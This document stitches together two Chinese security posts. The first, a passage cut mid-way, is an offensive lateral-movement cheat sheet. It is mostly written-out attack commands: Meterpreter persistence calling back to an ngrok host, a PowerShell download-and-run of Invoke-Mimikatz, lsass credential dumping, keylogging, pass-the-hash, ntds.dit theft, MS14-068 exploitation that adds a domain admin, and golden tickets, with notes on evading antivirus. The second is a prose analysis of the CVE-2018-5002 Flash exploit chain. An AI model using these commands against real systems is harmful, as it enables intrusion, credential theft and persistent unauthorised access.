--- ---- ---- ---- ------- ---- ---- 12000 676 shell.exe x86 2 xxx C:\Users\xxx\Desktop\shell.exe
676 1124 explorer.exe x64 2 xxx C:\Windows\explorer.exe
meterpreter > migrate 676
[*] Migrating from 12000 to 676...
[*] Migration completed successfully.
#### Msf hash
1. meterpreter > run hashdump 需要sys权限 导出SAM
2. meterpreter > run post/windows/gather/smart_hashdump 需要sys权限
3. getsystem存在uac，用msf bypass，但特征明显 meterpreter > search bypassuac
4. msf powerdump load mimikatz 不太好用
#### Msf的持续后门
Persistence: run persistence -h：用于创建启动项启动，会创建注册表，创建文件。（X86_Linux不支持此脚本）
run persistence -U -i 10 -p 10390 -r free.ngrok.cc
会被360拦，-i 10 10秒请求一次
使用powershell执行也被监控而被360拦截
meterpreter 的 run getgui -e 命令可以开启成 功。360会提示阻止
Run metsvc -h ：用于创建服务，会创建meterpreter服务，并上传三个文件，使用-r参数可以卸载服务 ，被拦
#### Msf powershell
meterpreter > load powershell
meterpreter > powershell_shell
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Ps > Invoke-Mimikatz -DumpCreds
#### Msf Router
2个或多个路由之间，没有配置相应的路由表，不能访问，获得一台机器shell session 添加路由，使msf可以在当前shell
session下以被攻击机访问其他内网主机.
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 172.17.0.0/255.255.0.0
meterpreter > run autoroute -s 172.17.0.0/16 添加路由
meterpreter > run autoroute -p 查看路由
meterpreter > run autoroute -d -s 172.17.0.0/16 删除
MS17-010
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 172.17.0.0/24
rhosts => 172.17.0.0/24
msf auxiliary(scanner/smb/smb_ms17_010) > set threads 50
threads => 50
msf auxiliary(scanner/smb/smb_ms17_010) > run
先利用exploit/windows/smb/ms17_010_psexec，win10旧版依旧可以，新版设置smbuser，smbpass即可
#### Msf扫描
经过上面设置路由即可使用以下scan：
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/tcp
常用port 21,80,443,873,2601,2604,3128,4440,6082,6379,8000,8008,8080,8081,8090,8099,8088,8888,9000,9090,9200,11211,27017,28017,50070,19004440,5082,7001,6082,50000,8888,2222,2082,2083,3312,3311,7778,8083,10000,8089,8649,27017,27018,5900,5631,4899
服务扫描:
SMB版本识别：auxiliary/scanner/smb/smb_version
MSSQL信息收集：search mssql相关模块，如auxiliary/scanner/mssql/mssql_ping 查询mssql监听的端口，默认1433
SSH版本信息：auxiliary/scanner/ssh/ssh_version
FTP版本识别：auxiliary/scanner/ftp/ftp_version
HTTP服务：auxiliary/scanner/http/http_header 返回相关header信息
port：21 （FTP）
auxiliary/scanner/ftp/ftp_login //FTP登陆爆破
其它：search FTP。FTP常见利用方式，除了直接获取文件，还要注意目录跨越漏洞，成功利用，可以直接反弹shell
port:22 (SSH)
auxiliary/scanner/ssh/ssh_login
其它：search SSH
port:23 (telnet)
auxiliary/scanner/telnet/telnet_login //主要目标是内网中的路由器，交换机等网络设备
port:445
exploit/windows/smb/ms08_067_netapi //上古漏洞，依然有惊喜
exploit/windows/smb/ms17_010_eternalblue //永恒之蓝
auxiliary/scanner/smb/smb_login //SMB登陆爆破
其它：search smb | Samba。linux下的CVE-2017-7494， 445 端口的远程利用
port:3389 (远程桌面RDP)
auxiliary/scanner/rdp/ms12_020_check
5900 (VNC)
auxiliary/scanner/vnc/vnc_none_auth
auxiliary/scanner/vnc/vnc_login
exploit/multi/vnc/vnc_keyboard_exec
数据库：
port:1433 （Sqlserver）
use auxiliary/scanner/mssql/mssql_login
port:3306 (Mysql)
auxiliary/scanner/mysql/mysql_login
port: 27017、27018 (Mongodb)
auxiliary/scanner/mongodb/mongodb_login
port:6379 （Redis）
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/file_upload
port:1521 (Oracle)
search Oracle
port:5432 (PostgreSQL)
search PostgreSQL
use auxiliary/server/socks4a
proxychains设置socks4为上条设置的，即可在本地代理扫描, 目前msf已经支持 socks5 代理
### Msf端口转发portfwd
portfwd add -L 0.0.0.0 4443 -p 3389 -r 192.168.2.100
将192.168.1.2.100内网转发到本地4443 port，流量大不好用
#### Msf截屏(没被360拦没提示，或许有意外收获)
meterpreter > use espia
meterpreter > screengrab
#### Msf嗅探
meterpreter > use sniffer
Loading extension sniffer...Success.
meterpreter > help
Sniffer Commands
================
Command Description
------- ----------- sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_release Free captured packets on a specific interface instead of downloading them
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
meterpreter > sniffer_interfaces
1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
3 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
4 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
5 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
meterpreter > sniffer_start 5
[*] Capture started on interface 5 (50000 packet buffer)
meterpreter > sniffer_dump 5 /tmp/1.pcap
[*] Flushing packet capture buffer for interface 5...
[*] Flushed 2540 packets (1450560 bytes)
[*] Downloaded 036% (524288/1450560)...
[*] Downloaded 072% (1048576/1450560)...
[*] Downloaded 100% (1450560/1450560)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/1.pcap
meterpreter > sniffer_stop 5
[*] Capture stopped on interface 5
[*] There are 29 packets (2263 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
#### 键盘记录
Msf键盘记录在win不会创建新进程
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
jamd<CR>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
Keylogger(tip:可以把管理工具，如navicat,putty,SecureCRT,PLSQL设置记住密码)
ixkeylog,linux>=2.63 --redrain推荐
### 远程命令执行
at\schtasks\psexec\wmic\sc\ps
window 在工作组内用非 Administrator (SID!=500)其他管理员建立远程连接( wmi, ipc$ )，权限不是管理权限，可以改
LocalAccountTokenFilterPolicy = 1
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
#### ipc$
开启共享，开445，139 port
D:>net use \\192.168.1.254\c$ "pwd" /user:user //连接192.168.1.254的IPC$共享，用unc路径
如果是域用户 D:>net use \\192.168.1.254\c$ "pwd" /user:domain\user
D:>copy srv.exe \\192.168.1.254\c$ //复制本地srv.exe到C根目录
D:>net time \\192.168.1.254 //查时间
D:>at \\192.168.1.254 10:50 srv.exe //用at命令在10点50分启动srv.exe (这里360会拦截)
D:>net use \\192.168.1.254\c$ /del
#### Schtasks
这里schtasks用着很舒服:
schtasks /create /tn mytask /s ip /tr F:\Desktop.exe /sc minute /mo 1 /F 每分运行1次 普通权限即可， /s参数 远程ip 用于ipc连接后，远程主机执行 ，/F 表示有重名直接覆盖和创建或删除修改计划不再确认
schtasks /create /tn mytask /tr F:\Desktop.exe /sc minute /mo 1 /ru system /F 管理员权限运行
如果程序有参数用引号"C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp" schtasks
/Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM 内置命令前加"cmd /c"
schtasks /create /tn mytask /tr "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy41\windows\NTDS\ntds.dit c:\ntds.dit 2>&1 > c:\windows\temp\1.txt" /sc minute /mo 1 /f /ru system /s 172.17.1.1
C:\jboss-5.1.0.GA\bin\>schtasks /create /tn mytask /s 172.17.1.1 /tr "C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp" /sc minute /mo 2
SUCCESS: The scheduled task "mytask" has successfully been created.
C:\jboss-5.1.0.GA\bin\>schtasks /Query /TN mytask /s 172.17.1.1
Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
mytask 16-05-2018 07:50:00 Ready
C:\jboss-5.1.0.GA\bin\>schtasks /Run /TN mytask /s 172.17.1.1
Folder: \
TaskName Next Run Time Status
======================================== ====================== ===============
mytask 16-05-2018 07:52:00 Ready
C:\jboss-5.1.0.GA\bin\>schtasks /Delete /TN mytask /F /s 172.17.1.1
SUCCESS: The scheduled task "mytask" was successfully deleted.
#### psexec
psexec 不推荐用,创建服务并删除,产生日志，需要开共享
psexec -r sanr \\192.168.1.101 -u user -p pass cmd -r 参数为创建的服务名 可能绕过检测
#### wmi(135)
wmi 如果防火墙开启无法连接，优点无日志，无落地(写入磁盘)，以下命令无回显，写入txt，type查看
wmic /node:192.168.1.101 /user:admin /password:@!123QWW
process call create "cmd.exe /c whoami"
##### wmiexec
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
如果没明文密码，pth后利用。 http://www.91ri.org/12908.html
#### winexe
winexe可以从Linux上远程执行windows命令（SMB），kali自带
./winexe --system -U 'Administrator%123123' //192.168.1.101 'cmd.exe /c whoami'
#### PsRemoting
2012 r2起,默认端口5985,系统自带远程管理winrs winrs -r:192.168.1.101 -u:administrator -p:pwd
ipconfig
### mimikatz + procdump 获得内存 hash
如果服务器是64位，要把Mimikatz进程迁移到一个64位的程序进程中，才能查看64位系统密码明文。32位任意
运行`procdump.exe -accepteula -ma lsass.exe
lsass.dmp`(管理权限)后lsass.dmp放到mimikatz.exe同目录，运行以下命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\Windows\Temp\test\x64>mimikatz.exe
.#####. mimikatz 2.1.1 (x64) built on May 2 2018 00:26:52
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...
Authentication Id : 4 ; 484366552 (00000004:1cded8d8)
Session : RemoteInteractive from 4
User Name : admin
Domain : xx
Logon Server : WIN-VEG0FAB6OQS
Logon Time : 5/5/2018 11:49:44 AM
SID : S-1-5-21-970513389-3385549917-1141547890-1128
msv :
[00000003] Primary
* Username : admin
* Domain : xx
* NTLM : xxxxxxxxxxxxxxxxxx
* SHA1 : xxxxxxxxxxxxxxxxxxxxxx
[00010000] CredentialKeys
* NTLM : xxxxxxxxxxxxxxxxxxxxxx
* SHA1 : xxxxxxxxxxxxxxxxxx
tspkg :
wdigest :
* Username : admin
* Domain : xx
* Password : QWEad!@w123
kerberos :
* Username : admin
* Domain : xx
* Password : QWEad!@w123
ssp :
credman :
Authentication Id : 0 ; 2138016 (00000000:00209fa0)
Session : Service from 0
User Name : dmadmin
Domain : xx
Logon Server : WIN-VEG0FAB6OQS
Logon Time : 3/7/2018 3:23:17 PM
SID : S-1-5-21-970513389-3385549917-1141547890-1119
msv :
[00000003] Primary
* Username : dmadmin
* Domain : xx
* NTLM : xxxxxxxxxxxxx
* SHA1 : xxxxxxxxxxxx
[00010000] CredentialKeys
* NTLM : xxxxxxxxxxxxxxxxxxxxx
* SHA1 : xxxxxxxxxxxxxxxxxx
tspkg :
wdigest :
* Username : dmadmin
* Domain : xx
* Password : 1234!qw
kerberos :
* Username : dmadmin
* Domain : xx.com
* Password : (null)
ssp :
credman :
导出当前 内存 hash，需要免杀过av等
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
Windows Server 2012,部分Windows Server 2008默认无法使用mimikatz导出明文口令
解决方法：启用Wdigest Auth
cmd:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
powershell:
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
重启或者用户再次登录，能够导出明文口令
[3gstudent自动Dump-Clear-Text-Password-after-KB2871997-installed](https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed)
### SAM-hash
管理权限：
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
mimikatz:
lsadump::sam /sam:Sam.hiv /system:Sys.hiv
mimikatz # lsadump::sam /sam:SamBkup.hiv /system:SystemBkup.hiv
Domain : MINI
SysKey : 58699cc69ada69e9d859731bec45824d
Local SID : S-1-5-21-687613702-1072107351-1410383080
SAMKey : 339c56f87f46195ddd5158c018a973de
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 22388b7da6d4e33b9ab1cdf631daff8c
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000003ee (1006)
User : HomeGroupUser$
Hash NTLM: 73233a63fa3dd495142e3a362a921221
#### pass the hash
wmiexec普通权限即可
<https://github.com/maaaaz/impacket-examples-windows>
wmiexec -hashes 00000000000000000000000000000000:99b2b135c9e829367d9f07201b1007c3 TEST/[email protected] "whoami" //domain=TEST user=test1
or 需要管理权限
mimikatz "privilege::debug" "sekurlsa::pth /user:abc /domain:test.local /ntlm:hash"
or
meterpreter > run post/windows/gather/hashdump
Administrator:500:xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c:::
meterpreter > background
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBuser Administrator
msf exploit(psexec) > set SMBPass xxxxxxxxxxxx9a224a3b108f3fa6cb6d:xxxxf7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell
安装了KB2871997补丁或者系统版本大于等于windows server
2012时，内存不再明文保存密码，1,改注册表后，注销再次登录，可以使用，schtasks等执行命令无法用管理员权限。2.用ptk，ptt。例外，打补丁后administrato（SID-500）依旧可以pth
<https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/>
#### pass the key
需要免杀：
mimikatz "privilege::debug" "sekurlsa::ekeys" 获取用户的aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:asdq379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" 注入aes key
dir \\计算机名
#### pass the ticket
不需要管理员权限
kekeo "tgt::ask /user:abc /domain:test.local /ntlm:hash"
https://github.com/gentilkiwi/kekeo
导入ticket：
kekeo "kerberos::ptt [email protected][email protected]"
#### ntds.dit
vssadmin方法>=win 2008
查询当前系统的快照
vssadmin list shadows
创建快照
vssadmin create shadow /for=c:
获得Shadow Copy Volume Name为\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47
复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\NTDS\ntds.dit c:\ntds.dit copy第一个参数为创建快照时位置
复制system和sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\system c:\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy47\windows\system32\config\sam c:\
删除快照
vssadmin delete shadows /for=c: /quiet
获取将以上system，sam, ntds.dit 放到 /root/ntds_cracking/下，运行
python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/SYSTEM LOCAL -outputfile hash.txt
安装：
git clone https://github.com/CoreSecurity/impacket.git
cd impacket-master/
python setup.py install
py地址
<https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py>
参考：[域渗透——获得域控服务器的NTDS.dit文件](http://www.4hou.com/technology/10573.html)
##### dc定位
nltest dclist:xx.xx
net time /domain
systeminfo 中的domain
ipconfig /all 中的DNS Suffix Search List
扫描53端口，找dns位置
C:\jboss-5.1.0.GA\bin\>set log
LOGONSERVER=\\DC01
net group "domain controllers" /domain
PowerView Get-NetDomainController
PowerView地址https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
### windows log
微软第三方信息收集工具LogParser.exe psloglist.exe等
### powerhsell神器
nishang <https://github.com/samratashok/nishang>
spn扫描 <https://github.com/nullbind/Powershellery/tree/master/Stable-ish>
PowerSploit <https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon>
针对ps的Empire <https://github.com/EmpireProject/Empire>
### ms14-068 Kerberos漏洞利用：
生成TGT：用于伪造
whoami /all
用户@ 域名 用户sid 域主机
python ms14068.py -u [email protected] -p password -s sid -d dc.xxx.com
ms14068.exe -u [email protected] -p password -s sid -d dc.xxx.com
会生成[email protected]
注入TGT：
klist
klist purge 清除所有凭证，等一会在执行下列命令(https://www.t00ls.net/thread-28727-1-1.html)
写入内存 mimikatz.exe "kerberos::ptc c:\[email protected]"
若成功
dir \\dc.xxx.com\c$
net user admin xxxxx@password /add /domain
net group "Domain Admins" admin /add /domain
msf ms14_048_kerberos_checksum模块也可以检测 工具：
[https://www.t00ls.net/viewthread.php?tid=28207&from=favorites](https://www.t00ls.net/viewthread.php?tid=28207&from=favorites)
<https://github.com/gentilkiwi/kekeo>
### GPP漏洞利用
win2008增加，一般域用户都可访问敏感文件
密码存在SYSCOL目录下:
Groups.xml, 这个文件是域管通过GPP设置或修改本地密码留下的
Services\Services.xml,
ScheduledTasks\ScheduledTasks.xml,
Printers\Printers.xml,
Drives\Drives.xml,
DataSources\DataSources.xml
net use \\域控(如pc.xx.com) password /user:xxx.com\username
dir \\域控\SYSVOL /s /a > sysvol.txt
findstr /i "groups.xml" sysvol.txt
找到cpassword
解密过程：
set-executionPolicy bypass
powershell -ep bypass 启动ps
Import-Module .\GPP.ps1
Get-DecryptedCpassword xxxxxxxxxxxxxx
脚本link：
<https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1>
[利用SYSVOL还原组策略中保存的密码](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/)
### 黄金票据(维权)
域用户sid
whoami /all
krbtgt hash
mimikatz "lsadump::dcsync /domain:xx.com /user:krbtgt"
域管
net group "domain admins" /domain 这里是administrator
mimikatz "kerberos::purge"
"kerberos::golden /admin:administrator /domain:xx.com /sid:S-1-5-..... /krbtgt:hash /ticket:Adminstrator.kiribi"
"kerberos::ptt Administrator.kiribi"
"kerberos::tgt"
## 总结
首先，利用 webshell 执行开篇的命令收集内网前期信息(不局限用 webshell)，也可以用 msf 等平台，或 powershell
收集信息，判断机器所处区域，是 DMZ 区，还是办公区，核心 DB等;机器作用是文件服务器，Web，测试服务器，代理服务，还是 DNS，DB
等;网络连通性，文中也提到测试 dns，tcp，http 等命令，理清内网拓扑图，网段，扫描内网，路由，交换机，端口等判断是域还是组，组的话，用常见 web
方法，域的话 gpp，kerberos，黄金白银票据，抓密码，这里注意密码有的有空格，pth，ptk,spn 扫描，ipc,445,web
漏洞，各种未授权，密码相同,历史命令等，期间会遇到提权，bypass uac，bypass av。
### 某些大佬语录
利用漏洞配置不当获取更多主机权限
常见应用漏洞：
struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis
未授权访问、Hadoop、weblogic、jboss、WebSphere、Coldfusion
常见语言反序列化漏洞
php、Java、python、ruby、node.js
数据库漏洞及配置不当
mssql Get-SQLServerAccess、MySQL 低版本 hash 登陆、MySQL 低版本Authentication Bypass、域内
mssql 凭证获取密码、monggodb 未授权访问、memcache 配置不当
内网中很多 web
应用存在常见漏洞、使用有漏洞的中间件和框架、弱口令及配置不当（注入、任意文件读取、备份、源码泄漏（rsync、git、svn、DS_Store）、代码执行、xss、弱口令、上传漏洞、权限绕过…）
web应用、及数据库中寻找其他服务器密码信息（ftp、mail、smb、ldap存储、sql...）
系统备份文件（ghost）中读密码
在已有控制权限主机中，查看各浏览器书签、cookie、存储密码、键盘记录收集相关敏感信息、查询注册表中保存密码、读取各客户端连接密码、putty
dll注入、putty 密码截取、ssh 连接密码，以获取更多主机权限
推荐工具：NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe
ms08-067 远程溢出（极少能碰到）
cmdkey /list 远程终端可信任连接连接 netpass.exe 读取该密码
arp欺骗中间人攻击（替换 sql 数据包、认证凭证获取、密码获取极大不到万不得已不会用）
WPAD 中间人攻击（全称网络代理自动发现协议、截获凭证该种方法不需要ARP欺骗，比较好用的一种方法（使用Responder.py/net-creds.py））
翻阅相关文件及以控制数据库中可能存储配置口令（别忘了回收站）
用已有控制权限的邮箱账号以及前期所了解到的信息进行欺骗（社会工程学）
定向浏览器信息ip信息定向挂马（0day）
用以收集的密码（组合变换密码）对各服务进行爆破
其他用户 session，3389 和ipc 连接记录 各用户回收站信息收集
host 文件获取和 dns 缓存信息收集 等等
杀软 补丁 进程 网络代理信息 wpad 信息。软件列表信息
计划任务 账号密码策略与锁定策略 共享文件夹 web 服务器配置文件
vpn 历史密码等 teamview 密码等 启动项 iislog 等等
主动手段 就是 snmp 扫交换机路由网络设备(有 tcp 连接存活表列 一般可以定位到经常访问的服务ip)
遍历 内网的所有段 + tracert 跟踪路由 一下拓扑基本就清楚了
被动手段就是上内部通讯平台 一般是邮箱
如果是有堡垒隔离和 vlan 隔离的还要拿到相应权限网络设备做管道穿越才行 通讯都做不了就不要谈后续渗透了
横向渗透 smb 感染 pdf doc +RDP 感染管理机 动静小一点就插管道连接钓 NTHASH
域控只能看看 普通用户机上有没有令牌可以伪造 ms14-068 是否存在
搜集的信息列出来，就不贴了：
服务器当前所在网段的所有主机端口
服务器ARP缓存
服务器上的服务
内网中其他HTTP服务
满足容易利用的漏洞端口 （MS17010 / 445）
抓包嗅探还是很有必要的 （千万不要ARP %@#@@651#@^#@@#@@###@@!）
共享文件
密码
在行动之前思考几分钟，有没有更好的办法
思考一个问题多个解决方案的利弊
尽量快速熟悉网络环境 -> [前提是你已经熟悉了服务器环境]
对日志要时刻保持敏感
看子网掩码、计算子网大小，判断有没有VLAN
选取自己熟悉的协议进行信息搜集
网络命令一定要熟
对于后门要加强维护
你必须保证你花费98%的时间都在了解他们
学习使用Powershell和熟练掌握端口转发
渗透测试的本质是信息收集
##### 扩展阅读
<https://github.com/tom0li/collection-document>
* * * | 社区文章 |
# 深入解析CVE-2018-5002漏洞利用技术
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2018年6月1号，360高级威胁应对团队捕获到一个在野[flash
0day](http://blogs.360.cn/post/cve-2018-5002.html)。上周，国外分析团队Unit
42公布了关于该次行动的[进一步细节](https://researchcenter.paloaltonetworks.com/2018/09/unit42-slicing-dicing-cve-2018-5002-payloads-new-chainshot-malware/)。随后，卡巴斯基在[twitter](https://twitter.com/craiu/status/1038046509793722368)指出此次攻击背后的APT团伙是FruityArmor
APT。
在这篇博客中，我们将披露该漏洞利用的进一步细节。
## 漏洞利用
原始样本需要与云端交互触发，存在诸多不便，所以我们花了一些时间完整逆向了整套利用代码，以下分析中出现的代码片段为均为逆向后的代码。原始利用支持xp/win7/win8/win8.1/win10
x86/x64全平台。以下分析环境为windows 7 sp1 x86 + Flash 29.0.0.171。64位下的利用过程会在最后一小节简要提及。
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-46c)1\.
通过栈越界读写实现类型混淆
原样本中首先定义两个很相似的类class_5和class_7，并且class_7的第一个成员变量是一个class_5对象指针，如下：
紧接着调用replace方法尝试触发漏洞，可以看到在replace函数内定义了一个class_5对象和一个class_7对象，并将这两个对象作为参数交替传入trigger_vul函数()。
从下图可以看到，trigger_vul方法一共有256个参数，分别为交替出现的128个class_5对象和128个class_7对象。这是为了后面的类型混淆做准备。
在trigger_vul内部，首先创建一个class_6对象用于触发漏洞，
在class_6类内调用li(123456)触发RangeError，通过修改ByteCode后可以导致进入如下的catch逻辑(伪代码)，可以看到在catch内越界交换了两个栈上的变量(local_448和local_449)。而攻击者通过精确布控jit栈，导致交换的两个栈变量恰好为先前压入的一个cls5对象指针和一个cls7对象指针。从而实现了类型混淆。
成功交换指针后，将修改完后的栈上数据(256个参数)分别回赋给一个cls5_vec对象和一个cls7_vec对象，最后返回cls5_vec对象，这时cls5_vec里面存在一个cls7对象，其余均为为cls5。
在windbg中看到上述过程如下：
根据着色分布可以看到栈上的一个cls5对象指针和一个cls7指针在漏洞触发后发生了互换：
返回到trigger_vul之后，遍历cls5_vec中的成员，找出m_p1不为0x11111111的cls_5对象，此对象即为被混淆的cls_7。随后保存有问题的“cls_5”对象和cls_7对象到静态成员。
trigger_vul返回之后，通过_cls5.m_p6成员是否为0来确定当前环境为x86还是x64，并借助两个混淆的对象(cls5和cls7)去初始化一个class_8对象，该对象用于实现任意地址读写。
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-3b4)2\. 任意地址读写
class_8类是攻击者构造的一个工具类，用来实现任意地址读写，并在此基础上实现了x86/x64下的一系列读写功能函数。我们重点来看一下readDWORD32和writeDWORD32的实现。
[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-46b)**2.1
readDWORD32**
由于cls7的第一个成员(var_114)是一个cls5对象，所以在cls5被混淆成cls7后，表面上对cls5.m_p1的修改实质是对cls7.var_114的修改。现在假设我们有一个需要读取的32位地址addr，只需要把addr-0x10的值赋值给cls5.m_p1，这样相当于把cls7.var_114设为了addr-0x10。然后去读取cls7.var_114.m_p1,
此语句会将cls7.var_114.m_p1处的值当做一个class_5对象，并读取它的第一个成员变量，也即将addr-0x10当作一个class_5对象，并读取addr-0x10+0x10处的四个字节。
下图解释了为什么32位下需要addr-0x10，由于继承关系，每一个as3对象的前16个字节结构是固定的(其中，“pvtbl”是C++虚表指针，“composite”、“
vtable”和“delegate”成员可以参考avmplus源码中的ScriptObject实现)，一个类对象的第一个成员变量位于对象首地址+0x10处(64位下类推为addr-0x20)：
图：从内存来看，混淆后，对cls5的操作实际上影响了cls7对应内存处的值，随后可以通过访问cls7.var_114.m_p1去读取任意addr处的值。
[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-ca9)**2.2
writeDWORD32**
writeDWORD32原理和readDWORD32类似，此处不再赘述。
在clsss_8类中，攻击者在上述两个函数的基础上实现了一系列功能函数，全部如下：
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-920)3\.
定位ByteArray相关成员偏移
虽然攻击者并未借助ByteArray来实现任意地址读写，但为方便利用编写，他必须知道当前Flash版本中ByteArray相关成员的内存偏移。为此，攻击者定义了一个class_15类，用来借助任意地址写实现对特定成员的偏移搜索并，保存。以供后面使用。
setOffset32的部分逻辑：
以下class_15的成员用来保存动态搜索到的内存偏移。
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-a14)4\. 1st
shellcode
找到相关偏移后，攻击者立即开始构造shellcode并执行。
1阶段的shellcode为内置，但有7个DWORD32字段需要动态填充。而2阶段的shellcode通过一个ByteArray动态传入，即上面setOffset函数中的_bArr成员。由于并未得到攻击者的2阶段shellcode，我们使用的2阶段shellcode来自HackingTeam泄漏的代码，功能为弹一个计算器。
攻击者先借助ByteArray(ba)存储了一个1阶段shellcode模板，反汇编后如下，其中紫色区域是需要动态填充的字段，这些字段代表的含义如注释所示：
然后初始化一个新的ByteArray对象(ba2)，将其的array区域的前16字节初始化如下：
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-c35)5\. Bypass
ROP
为了构造ROP，攻击者专门定义了一个辅助类class_25，在里面实现了如下功能函数：
攻击者先借助flash模块的IAT找到User32.dll的GetDC地址，再借助User32.dll的IAT找到ntdll.dll的RtlUnWind地址，
随后从ntdll.dll的EAT的AddressOfFunctions数组中找到NtProtectVirtualMemory和NtPrivilegedServiceAuditAlarm的函数偏移并计算得到对应的函数地址。
攻击者这里的思路是取出NtProtectVirtualMemory的SSDT索引，和NtPrivilegedServiceAuditAlarm+0x5的地址，供后面使用。
后面会通过call
NtPrivilegedServiceAuditAlarm+0x5并传入NtProtectVirtualMemory的SSDT索引的方式来Bypass
ROP的检测。由于ROP检测并未Hook
NtPrivilegedServiceAuditAlarm作为关键函数，所以并不会进入ROP检测逻辑中，因此绕过了ROP的所有检测。
随后搜索以下的ROP部件并保存，供后面使用
随后将上述信息返回给上层调用者：
随后部分值被填充到1st shellcode的前5个pattern。
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-3fe)6\. Bypass
CFG
这个样本在32位下通过覆盖jit栈的方式来绕过CFG，攻击者首先定义了两个相似的类class_26和class_27。两者都定义了一个方法叫做method_87。不同之处在于class_26.method_87只接受两个参数，而class_27.method_87接受256个参数，并会将传入的参数全部保存并返回给调用者。
